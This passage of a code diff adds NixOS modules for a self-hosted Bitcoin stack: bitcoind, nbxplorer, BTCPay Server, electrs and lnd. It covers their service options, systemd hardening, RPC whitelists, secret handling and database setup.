||||
printf '%s\n' "$hmacPayload"
|
||||
}
|
||||
|
||||
cfg=$(
|
||||
cat ${configFile}
|
||||
${extraRpcauth}
|
||||
echo
|
||||
${optionalString (cfg.getPublicAddressCmd != "") ''
|
||||
echo "externalip=$(${cfg.getPublicAddressCmd})"
|
||||
''}
|
||||
)
|
||||
confFile='${cfg.dataDir}/bitcoin.conf'
|
||||
if [[ ! -e $confFile || $cfg != $(cat $confFile) ]]; then
|
||||
install -o '${cfg.user}' -g '${cfg.group}' -m 640 <(echo "$cfg") $confFile
|
||||
fi
|
||||
'';
|
||||
|
||||
# Enable RPC access for group
|
||||
postStart = ''
|
||||
chmod g=r '${cfg.dataDir}/${optionalString cfg.regtest "regtest/"}.cookie'
|
||||
'' + (optionalString cfg.regtest) ''
|
||||
chmod g=x '${cfg.dataDir}/regtest'
|
||||
'';
|
||||
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
Type = "notify";
|
||||
NotifyAccess = "all";
|
||||
User = cfg.user;
|
||||
Group = cfg.group;
|
||||
TimeoutStartSec = "30min";
|
||||
TimeoutStopSec = "30min";
|
||||
ExecStart = "${cfg.package}/bin/bitcoind -datadir='${cfg.dataDir}'";
|
||||
Restart = "on-failure";
|
||||
UMask = mkIf cfg.dataDirReadableByGroup "0027";
|
||||
ReadWritePaths = [ cfg.dataDir ];
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce
|
||||
// optionalAttrs zmqServerEnabled nbLib.allowNetlink;
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
users.groups.bitcoinrpc-public = {};
|
||||
|
||||
nix-bitcoin.operator.groups = [ cfg.group ];
|
||||
|
||||
nix-bitcoin.secrets = {
|
||||
bitcoin-rpcpassword-privileged.user = cfg.user;
|
||||
bitcoin-rpcpassword-public = {
|
||||
user = cfg.user;
|
||||
group = "bitcoinrpc-public";
|
||||
};
|
||||
|
||||
bitcoin-HMAC-privileged.user = cfg.user;
|
||||
bitcoin-HMAC-public.user = cfg.user;
|
||||
};
|
||||
nix-bitcoin.generateSecretsCmds.bitcoind = ''
|
||||
makeBitcoinRPCPassword privileged
|
||||
makeBitcoinRPCPassword public
|
||||
'';
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,334 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services = {
|
||||
nbxplorer = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Enable nbxplorer, a lightweight API for Bitcoin HD wallets.
|
||||
|
||||
Access API documentation here:
|
||||
{option}`services.nbxplorer.address`:{option}`services.nbxplorer.port`
|
||||
'';
|
||||
};
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen on.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 24444;
|
||||
description = "Port to listen on.";
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = pkgs.stable.nbxplorer;
|
||||
defaultText = "pkgs.stable.nbxplorer";
|
||||
description = "The package providing nbxplorer binaries.";
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/nbxplorer";
|
||||
description = "The data directory for nbxplorer.";
|
||||
};
|
||||
# TODO-EXTERNAL:
|
||||
# The shortcut link `main` in the datadir has changed to a directory
|
||||
# in version 2.3.3.
|
||||
# Add a dummy symlink, if it does not already exist, to be compatible with older modules.
|
||||
# When the old system uses a link and the new system a directory, switching fails with:
|
||||
# mv: cannot move '/var/lib/nbxplorer/Main' to '/var/lib/nbxplorer/.Main.tmp':
|
||||
# No such file or directory
|
||||
#
|
||||
# Remove this option when it is irrelevant (i.e. when the old system will never
|
||||
# be nix-bitcoin <=0.0.91)
|
||||
addNetworkSymlink = mkOption {
|
||||
readOnly = true;
|
||||
default = pkgs.stable.nbxplorer != cfg.nbxplorer.package;
|
||||
description = ''
|
||||
Whether to add a compatibility symlink (like `${cfg.nbxplorer.dataDir}/Main`)
|
||||
to the dataDir.
|
||||
This is enabled by default if the nbxplorer package is set to the version-locked package.
|
||||
'';
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "nbxplorer";
|
||||
description = "The user as which to run NBXplorer.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.nbxplorer.user;
|
||||
description = "The group as which to run NBXplorer.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
|
||||
btcpayserver = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Enable BTCPay Server, a self-hosted, open-source payment processor.
|
||||
|
||||
Extra recommendations:
|
||||
- Enable `services.btcpayserver.lightningBackend` to provide Lightning payment support.
|
||||
- Secure this service if the instance is publically accessible. For example, set
|
||||
{option}`services.btcpayserver.address` to `127.0.0.1` and use a reverse proxy
|
||||
that enforces TLS (Transport Layer Security).
|
||||
'';
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = pkgs.stable.btcpayserver;
|
||||
defaultText = "pkgs.stable.btcpayserver";
|
||||
description = "The package providing BTCPay Server binaries.";
|
||||
};
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen on.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 23000;
|
||||
description = "Port to listen on.";
|
||||
};
|
||||
lightningBackend = mkOption {
|
||||
type = types.nullOr (types.enum [ "lnd" ]);
|
||||
default = null;
|
||||
description = ''
|
||||
The lightning node to use as a backend.
|
||||
Enables the node service if not already enabled.
|
||||
'';
|
||||
};
|
||||
lbtc = mkOption {
|
||||
readOnly = true;
|
||||
default = false;
|
||||
description = ''
|
||||
Enable Liquid support.
|
||||
'';
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/btcpayserver";
|
||||
description = "The data directory for BTCPay Server.";
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "btcpayserver";
|
||||
description = "The user as which to run BTCPay Server.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.btcpayserver.user;
|
||||
description = "The group as which to run BTCPay Server.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
};
|
||||
|
||||
cfg = {
|
||||
inherit (config.services)
|
||||
nbxplorer
|
||||
btcpayserver
|
||||
bitcoind;
|
||||
};
|
||||
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkMerge [
|
||||
(mkIf cfg.nbxplorer.enable {
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.nbxplorer.dataDir}' 0770 ${cfg.nbxplorer.user} ${cfg.nbxplorer.group} - -"
|
||||
] ++ optional cfg.nbxplorer.addNetworkSymlink
|
||||
"L+ '${cfg.nbxplorer.dataDir}/Main' - - - - '${cfg.nbxplorer.dataDir}/main'";
|
||||
|
||||
systemd.services.nbxplorer = let
|
||||
configFile = builtins.toFile "nbxplorer-config" ''
|
||||
network=${cfg.bitcoind.network}
|
||||
btcrpcuser=${cfg.bitcoind.rpc.users.btcpayserver.name}
|
||||
btcrpcurl=http://${nbLib.addressWithPort cfg.bitcoind.rpc.address cfg.bitcoind.rpc.port}
|
||||
btcnodeendpoint=${nbLib.addressWithPort cfg.bitcoind.address cfg.bitcoind.whitelistedPort}
|
||||
bind=${cfg.nbxplorer.address}
|
||||
port=${toString cfg.nbxplorer.port}
|
||||
postgres=User ID=${cfg.nbxplorer.user};Host=/run/postgresql;Database=nbxplorer
|
||||
'';
|
||||
in rec {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "postgresql.target" ];
|
||||
wants = [ "bitcoind.service" ];
|
||||
after = requires ++ wants ++ [ "nix-bitcoin-secrets.target" ];
|
||||
preStart = ''
|
||||
install -m 600 ${configFile} '${cfg.nbxplorer.dataDir}/settings.config'
|
||||
printf '%s\n' "btcrpcpassword=$(<${secretsDir}/bitcoin-rpcpassword-btcpayserver)" \
|
||||
>> '${cfg.nbxplorer.dataDir}/settings.config'
|
||||
'';
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
ExecStart = ''
|
||||
${cfg.nbxplorer.package}/bin/nbxplorer --conf=${cfg.nbxplorer.dataDir}/settings.config \
|
||||
--datadir='${cfg.nbxplorer.dataDir}'
|
||||
'';
|
||||
RuntimeDirectory = "nbxplorer";
|
||||
StateDirectory = "nbxplorer";
|
||||
User = cfg.nbxplorer.user;
|
||||
Group = cfg.nbxplorer.group;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.nbxplorer.dataDir ];
|
||||
MemoryDenyWriteExecute = false;
|
||||
} // nbLib.allowedIPAddresses cfg.nbxplorer.tor.enforce;
|
||||
};
|
||||
|
||||
services.bitcoind = {
|
||||
enable = true;
|
||||
listenWhitelisted = true;
|
||||
txindex = true;
|
||||
};
|
||||
|
||||
users.users.${cfg.nbxplorer.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.nbxplorer.group;
|
||||
home = cfg.nbxplorer.dataDir;
|
||||
};
|
||||
users.groups.${cfg.nbxplorer.group} = {};
|
||||
})
|
||||
|
||||
(mkIf cfg.btcpayserver.enable {
|
||||
services.nbxplorer.enable = true;
|
||||
|
||||
services.bitcoind = {
|
||||
listenWhitelisted = true;
|
||||
rpc.users.btcpayserver = {
|
||||
name = "btcpayserver";
|
||||
passwordHMACFromFile = true;
|
||||
rpcwhitelist = [
|
||||
"getblockchaininfo"
|
||||
"getblock"
|
||||
"getblockhash"
|
||||
"getblockheader"
|
||||
"getblockstats"
|
||||
"gettransaction"
|
||||
"getrawtransaction"
|
||||
"sendrawtransaction"
|
||||
"getblockcount"
|
||||
"getbestblockhash"
|
||||
"getnetworkinfo"
|
||||
"getpeerinfo"
|
||||
"estimatesmartfee"
|
||||
"getmempoolinfo"
|
||||
"getmempoolentry"
|
||||
"getrawmempool"
|
||||
"gettxout"
|
||||
"scantxoutset"
|
||||
"importmulti"
|
||||
"listunspent"
|
||||
"getwalletinfo"
|
||||
"listtransactions"
|
||||
"listreceivedbyaddress"
|
||||
"getnewaddress"
|
||||
"uptime"
|
||||
"getrpcinfo"
|
||||
];
|
||||
};
|
||||
};
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.btcpayserver.dataDir}' 0770 ${cfg.btcpayserver.user} ${cfg.btcpayserver.group} - -"
|
||||
];
|
||||
|
||||
systemd.services.btcpayserver = let
|
||||
nbExplorerUrl = "http://${nbLib.addressWithPort cfg.nbxplorer.address cfg.nbxplorer.port}/";
|
||||
nbExplorerCookie =
|
||||
"${cfg.nbxplorer.dataDir}/${cfg.bitcoind.makeNetworkName "Main" "RegTest"}/.cookie";
|
||||
configFile = builtins.toFile "btcpayserver-config" (
|
||||
''
|
||||
network=${cfg.bitcoind.network}
|
||||
bind=${cfg.btcpayserver.address}
|
||||
port=${toString cfg.btcpayserver.port}
|
||||
socksendpoint=${config.nix-bitcoin.torClientAddressWithPort}
|
||||
btcexplorerurl=${nbExplorerUrl}
|
||||
btcexplorercookiefile=${nbExplorerCookie}
|
||||
explorer.postgres=User ID=${cfg.nbxplorer.user};Host=/run/postgresql;Database=nbxplorer
|
||||
postgres=User ID=${cfg.btcpayserver.user};Host=/run/postgresql;Database=btcpayserver
|
||||
'' + optionalString (cfg.btcpayserver.lightningBackend == "lnd")
|
||||
(
|
||||
"btclightning=type=lnd-rest;"
|
||||
+ "server=https://${nbLib.address config.services.lnd.restAddress}:${toString config.services.lnd.restPort}/;"
|
||||
+ "macaroonfilepath=/run/lnd/btcpayserver.macaroon;"
|
||||
+ "certfilepath=${config.services.lnd.certPath}\n"
|
||||
)
|
||||
);
|
||||
in rec {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "postgresql.target" "nbxplorer.service" ];
|
||||
wants = optional (cfg.btcpayserver.lightningBackend == "lnd") "lnd.service";
|
||||
after = requires ++ wants;
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
ExecStart = ''
|
||||
${cfg.btcpayserver.package}/bin/btcpayserver --conf=${configFile} \
|
||||
--datadir='${cfg.btcpayserver.dataDir}'
|
||||
'';
|
||||
WorkingDirectory = "${cfg.btcpayserver.package}/lib/btcpayserver";
|
||||
RuntimeDirectory = "btcpayserver";
|
||||
StateDirectory = "btcpayserver";
|
||||
User = cfg.btcpayserver.user;
|
||||
Group = cfg.btcpayserver.group;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.btcpayserver.dataDir ];
|
||||
MemoryDenyWriteExecute = false;
|
||||
} // nbLib.allowedIPAddresses cfg.btcpayserver.tor.enforce;
|
||||
};
|
||||
|
||||
services.postgresql = {
|
||||
enable = true;
|
||||
ensureDatabases = [ "btcpayserver" "nbxplorer" ];
|
||||
ensureUsers = [
|
||||
{ name = cfg.btcpayserver.user; ensureDBOwnership = true; }
|
||||
{ name = cfg.nbxplorer.user; ensureDBOwnership = true; }
|
||||
];
|
||||
};
|
||||
|
||||
users.users.${cfg.btcpayserver.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.btcpayserver.group;
|
||||
home = cfg.btcpayserver.dataDir;
|
||||
extraGroups = optional (cfg.btcpayserver.lightningBackend == "lnd") config.services.lnd.group;
|
||||
};
|
||||
users.groups.${cfg.btcpayserver.group} = {};
|
||||
|
||||
nix-bitcoin.secrets = {
|
||||
bitcoin-rpcpassword-btcpayserver = {
|
||||
user = cfg.bitcoind.user;
|
||||
group = cfg.nbxplorer.group;
|
||||
};
|
||||
bitcoin-HMAC-btcpayserver.user = cfg.bitcoind.user;
|
||||
};
|
||||
nix-bitcoin.generateSecretsCmds.btcpayserver = ''
|
||||
makeBitcoinRPCPassword btcpayserver
|
||||
'';
|
||||
})
|
||||
|
||||
(mkIf (cfg.btcpayserver.enable && cfg.btcpayserver.lightningBackend == "lnd") {
|
||||
services.lnd = {
|
||||
enable = true;
|
||||
macaroons.btcpayserver = {
|
||||
user = cfg.btcpayserver.user;
|
||||
permissions = ''
|
||||
{"entity":"address","action":"write"},{"entity":"info","action":"read"},{"entity":"invoices","action":"read"},{"entity":"invoices","action":"write"},{"entity":"offchain","action":"read"},{"entity":"offchain","action":"write"},{"entity":"onchain","action":"read"},{"entity":"onchain","action":"write"},{"entity":"peers","action":"read"},{"entity":"peers","action":"write"}
|
||||
'';
|
||||
};
|
||||
};
|
||||
|
||||
users.users.${config.services.lnd.user}.extraGroups = [ cfg.btcpayserver.group ];
|
||||
})
|
||||
];
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
# Common Bitcoin infrastructure: secrets, onion services, nodeinfo, security
|
||||
# Extracted from nix-bitcoin, tailored for Sovran (lnd-only)
|
||||
{ config, lib, pkgs, ... }:
|
||||
{
|
||||
imports = [
|
||||
./nix-bitcoin.nix
|
||||
./secrets/secrets.nix
|
||||
./operator.nix
|
||||
./security.nix
|
||||
./onion-addresses.nix
|
||||
./onion-services.nix
|
||||
./nodeinfo.nix
|
||||
./versioning.nix
|
||||
];
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
# Sovran Bitcoin stack - tailored from nix-bitcoin, lnd-only, nixpkgs packages
|
||||
# Original: https://github.com/fort-nix/nix-bitcoin
|
||||
{
|
||||
imports = [
|
||||
./common.nix
|
||||
./bitcoind.nix
|
||||
./electrs.nix
|
||||
./lnd.nix
|
||||
./lndconnect.nix
|
||||
./rtl.nix
|
||||
./btcpayserver.nix
|
||||
./mempool.nix
|
||||
];
|
||||
|
||||
disabledModules = [ "services/networking/bitcoind.nix" ];
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services.electrs = {
|
||||
enable = mkEnableOption "electrs, an Electrum server implemented in Rust";
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for RPC connections.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 50001;
|
||||
description = "Port to listen for RPC connections.";
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/electrs";
|
||||
description = "The data directory for electrs.";
|
||||
};
|
||||
monitoringPort = mkOption {
|
||||
type = types.port;
|
||||
default = 4224;
|
||||
description = "Prometheus monitoring port.";
|
||||
};
|
||||
extraArgs = mkOption {
|
||||
type = types.separatedString " ";
|
||||
default = "";
|
||||
description = "Extra command line arguments passed to electrs.";
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "electrs";
|
||||
description = "The user as which to run electrs.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run electrs.";
|
||||
};
|
||||
tor.enforce = nbLib.tor.enforce;
|
||||
};
|
||||
|
||||
cfg = config.services.electrs;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
bitcoind = config.services.bitcoind;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
assertions = [
|
||||
{ assertion = bitcoind.prune == 0;
|
||||
message = "electrs does not support bitcoind pruning.";
|
||||
}
|
||||
];
|
||||
|
||||
services.bitcoind = {
|
||||
enable = true;
|
||||
listenWhitelisted = true;
|
||||
};
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
|
||||
];
|
||||
|
||||
systemd.services.electrs = {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "bitcoind.service" ];
|
||||
after = [ "bitcoind.service" "nix-bitcoin-secrets.target" ];
|
||||
preStart = ''
|
||||
echo "auth = \"${bitcoind.rpc.users.public.name}:$(cat ${secretsDir}/bitcoin-rpcpassword-public)\"" \
|
||||
> electrs.toml
|
||||
'';
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
# electrs only uses the working directory for reading electrs.toml
|
||||
WorkingDirectory = cfg.dataDir;
|
||||
ExecStart = ''
|
||||
${pkgs.electrs}/bin/electrs \
|
||||
--log-filters=INFO \
|
||||
--network=${bitcoind.makeNetworkName "bitcoin" "regtest"} \
|
||||
--db-dir='${cfg.dataDir}' \
|
||||
--daemon-dir='${bitcoind.dataDir}' \
|
||||
--electrum-rpc-addr=${cfg.address}:${toString cfg.port} \
|
||||
--monitoring-addr=${cfg.address}:${toString cfg.monitoringPort} \
|
||||
--daemon-rpc-addr=${nbLib.addressWithPort bitcoind.rpc.address bitcoind.rpc.port} \
|
||||
--daemon-p2p-addr=${nbLib.addressWithPort bitcoind.address bitcoind.whitelistedPort} \
|
||||
${cfg.extraArgs}
|
||||
'';
|
||||
User = cfg.user;
|
||||
Group = cfg.group;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.dataDir ];
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce;
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
extraGroups = [ "bitcoinrpc-public" ];
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
lib: pkgs: config:
|
||||
|
||||
with lib;
|
||||
|
||||
# See `man systemd.exec` and `man systemd.resource-control` for an explanation
|
||||
# of the systemd-related options available through this file.
|
||||
let self = {
|
||||
# These settings roughly follow systemd's "strict" security profile
|
||||
defaultHardening = {
|
||||
PrivateTmp = true;
|
||||
ProtectSystem = "strict";
|
||||
ProtectHome = true;
|
||||
NoNewPrivileges = true;
|
||||
PrivateDevices = true;
|
||||
MemoryDenyWriteExecute = true;
|
||||
ProtectKernelTunables = true;
|
||||
ProtectKernelModules = true;
|
||||
ProtectKernelLogs = true;
|
||||
ProtectClock = true;
|
||||
ProtectProc = "invisible";
|
||||
ProcSubset = "pid";
|
||||
ProtectControlGroups = true;
|
||||
RestrictAddressFamilies = "AF_UNIX AF_INET AF_INET6";
|
||||
RestrictNamespaces = true;
|
||||
LockPersonality = true;
|
||||
IPAddressDeny = "any";
|
||||
PrivateUsers = true;
|
||||
RestrictSUIDSGID = true;
|
||||
RemoveIPC = true;
|
||||
RestrictRealtime = true;
|
||||
ProtectHostname = true;
|
||||
CapabilityBoundingSet = "";
|
||||
# @system-service whitelist and docker seccomp blacklist (except for "clone"
|
||||
# which is a core requirement for systemd services)
|
||||
# @system-service is defined in src/shared/seccomp-util.c (systemd source)
|
||||
SystemCallFilter = [ "@system-service" "~add_key kcmp keyctl mbind move_pages name_to_handle_at personality process_vm_readv process_vm_writev request_key setns unshare userfaultfd" ];
|
||||
SystemCallArchitectures = "native";
|
||||
};
|
||||
|
||||
allowNetlink = {
|
||||
RestrictAddressFamilies = self.defaultHardening.RestrictAddressFamilies + " AF_NETLINK";
|
||||
};
|
||||
|
||||
nodejs = {
|
||||
# Required for JIT compilation
|
||||
MemoryDenyWriteExecute = false;
|
||||
# Required by nodejs >= 18
|
||||
SystemCallFilter = self.defaultHardening.SystemCallFilter ++ [ "@pkey" ];
|
||||
};
|
||||
|
||||
# Allow takes precedence over Deny.
|
||||
allowLocalIPAddresses = {
|
||||
IPAddressAllow = [
|
||||
"127.0.0.1/32"
|
||||
"::1/128"
|
||||
"169.254.0.0/16"
|
||||
];
|
||||
};
|
||||
allowAllIPAddresses = { IPAddressAllow = "any"; };
|
||||
allowTor = self.allowLocalIPAddresses;
|
||||
allowedIPAddresses = onlyLocal:
|
||||
if onlyLocal
|
||||
then self.allowLocalIPAddresses
|
||||
else self.allowAllIPAddresses;
|
||||
|
||||
tor = {
|
||||
proxy = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Whether to proxy outgoing connections with Tor.";
|
||||
};
|
||||
enforce = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Whether to enforce Tor on this service by only allowing connections
|
||||
from and to localhost and link-local addresses.
|
||||
'';
|
||||
};
|
||||
};
|
||||
|
||||
script = name: src: pkgs.writers.writeBash name ''
|
||||
set -eo pipefail
|
||||
${src}
|
||||
'';
|
||||
|
||||
# Used for ExecStart*
|
||||
rootScript = name: src: "+${self.script name src}";
|
||||
|
||||
cliExec = mkOption {
|
||||
# Used by netns-isolation to execute the cli in the service's private netns
|
||||
internal = true;
|
||||
type = types.str;
|
||||
default = "exec";
|
||||
};
|
||||
|
||||
mkOnionService = map: {
|
||||
map = [ map ];
|
||||
version = 3;
|
||||
};
|
||||
|
||||
# Convert a bind address, which may be a special INADDR_ANY address,
|
||||
# to an actual IP address
|
||||
address = addr:
|
||||
if addr == "0.0.0.0" then
|
||||
"127.0.0.1"
|
||||
else if addr == "::" then
|
||||
"::1"
|
||||
else
|
||||
addr;
|
||||
|
||||
addressWithPort = addr: port: "${self.address addr}:${toString port}";
|
||||
|
||||
optionalAttr = cond: name: if cond then name else null;
|
||||
|
||||
mkCertExtraAltNames = cert:
|
||||
builtins.concatStringsSep "," (
|
||||
(map (domain: "DNS:${domain}") cert.extraDomains) ++
|
||||
(map (ip: "IP:${ip}") cert.extraIPs)
|
||||
);
|
||||
|
||||
test = {
|
||||
mkIfTest = test: mkIf (config.tests.${test} or false);
|
||||
};
|
||||
|
||||
mkAlias = default: mkOption {
|
||||
internal = true;
|
||||
readOnly = true;
|
||||
inherit default;
|
||||
};
|
||||
|
||||
}; in self
|
||||
@@ -0,0 +1,313 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services.lnd = {
|
||||
enable = mkEnableOption "Lightning Network daemon, a Lightning Network implementation in Go";
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for peer connections";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 9735;
|
||||
description = "Port to listen for peer connections";
|
||||
};
|
||||
rpcAddress = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for RPC connections.";
|
||||
};
|
||||
rpcPort = mkOption {
|
||||
type = types.port;
|
||||
default = 10009;
|
||||
description = "Port to listen for gRPC connections.";
|
||||
};
|
||||
restAddress = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for REST connections.";
|
||||
};
|
||||
restPort = mkOption {
|
||||
type = types.port;
|
||||
default = 8080;
|
||||
description = "Port to listen for REST connections.";
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/lnd";
|
||||
description = "The data directory for LND.";
|
||||
};
|
||||
networkDir = mkOption {
|
||||
readOnly = true;
|
||||
default = "${cfg.dataDir}/chain/bitcoin/${bitcoind.network}";
|
||||
description = "The network data directory.";
|
||||
};
|
||||
tor-socks = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = if cfg.tor.proxy then config.nix-bitcoin.torClientAddressWithPort else null;
|
||||
description = "Socks proxy for connecting to Tor nodes";
|
||||
};
|
||||
macaroons = mkOption {
|
||||
default = {};
|
||||
type = with types; attrsOf (submodule {
|
||||
options = {
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
description = "User who owns the macaroon.";
|
||||
};
|
||||
permissions = mkOption {
|
||||
type = types.str;
|
||||
example = ''
|
||||
{"entity":"info","action":"read"},{"entity":"onchain","action":"read"}
|
||||
'';
|
||||
description = "List of granted macaroon permissions.";
|
||||
};
|
||||
};
|
||||
});
|
||||
description = ''
|
||||
Extra macaroon definitions.
|
||||
'';
|
||||
};
|
||||
certificate = {
|
||||
extraIPs = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
example = [ "60.100.0.1" ];
|
||||
description = ''
|
||||
Extra `subjectAltName` IPs added to the certificate.
|
||||
This works the same as lnd option {option}`tlsextraip`.
|
||||
'';
|
||||
};
|
||||
extraDomains = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
example = [ "example.com" ];
|
||||
description = ''
|
||||
Extra `subjectAltName` domain names added to the certificate.
|
||||
This works the same as lnd option {option}`tlsextradomain`.
|
||||
'';
|
||||
};
|
||||
};
|
||||
extraConfig = mkOption {
|
||||
type = types.lines;
|
||||
default = "";
|
||||
example = ''
|
||||
autopilot.active=1
|
||||
'';
|
||||
description = ''
|
||||
Extra lines appended to {file}`lnd.conf`.
|
||||
See here for all available options:
|
||||
https://github.com/lightningnetwork/lnd/blob/master/sample-lnd.conf
|
||||
'';
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = pkgs.lnd;
|
||||
defaultText = "pkgs.lnd";
|
||||
description = "The package providing lnd binaries.";
|
||||
};
|
||||
cli = mkOption {
|
||||
default = pkgs.writers.writeBashBin "lncli"
|
||||
# Switch user because lnd makes datadir contents readable by user only
|
||||
''
|
||||
${runAsUser} ${cfg.user} ${cfg.package}/bin/lncli \
|
||||
--rpcserver ${cfg.rpcAddress}:${toString cfg.rpcPort} \
|
||||
--tlscertpath '${cfg.certPath}' \
|
||||
--macaroonpath '${networkDir}/admin.macaroon' "$@"
|
||||
'';
|
||||
defaultText = "(See source)";
|
||||
description = "Binary to connect with the lnd instance.";
|
||||
};
|
||||
getPublicAddressCmd = mkOption {
|
||||
type = types.str;
|
||||
default = "";
|
||||
description = ''
|
||||
Bash expression which outputs the public service address to announce to peers.
|
||||
If left empty, no address is announced.
|
||||
'';
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "lnd";
|
||||
description = "The user as which to run LND.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run LND.";
|
||||
};
|
||||
certPath = mkOption {
|
||||
readOnly = true;
|
||||
default = "${secretsDir}/lnd-cert";
|
||||
description = "LND TLS certificate path.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
|
||||
cfg = config.services.lnd;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
runAsUser = config.nix-bitcoin.runAsUserCmd;
|
||||
lndinit = "${(pkgs.callPackage ../../packages/lndinit {})}/bin/lndinit";
|
||||
|
||||
bitcoind = config.services.bitcoind;
|
||||
|
||||
bitcoindRpcAddress = nbLib.address bitcoind.rpc.address;
|
||||
networkDir = cfg.networkDir;
|
||||
configFile = pkgs.writeText "lnd.conf" ''
|
||||
datadir=${cfg.dataDir}
|
||||
tlscertpath=${cfg.certPath}
|
||||
tlskeypath=${secretsDir}/lnd-key
|
||||
|
||||
# We're logging via journald
|
||||
logging.file.disable=1
|
||||
logging.console.no-timestamps=1
|
||||
|
||||
listen=${toString cfg.address}:${toString cfg.port}
|
||||
rpclisten=${cfg.rpcAddress}:${toString cfg.rpcPort}
|
||||
restlisten=${cfg.restAddress}:${toString cfg.restPort}
|
||||
|
||||
bitcoin.${bitcoind.network}=1
|
||||
bitcoin.node=bitcoind
|
||||
|
||||
${optionalString (cfg.tor.proxy) "tor.active=true"}
|
||||
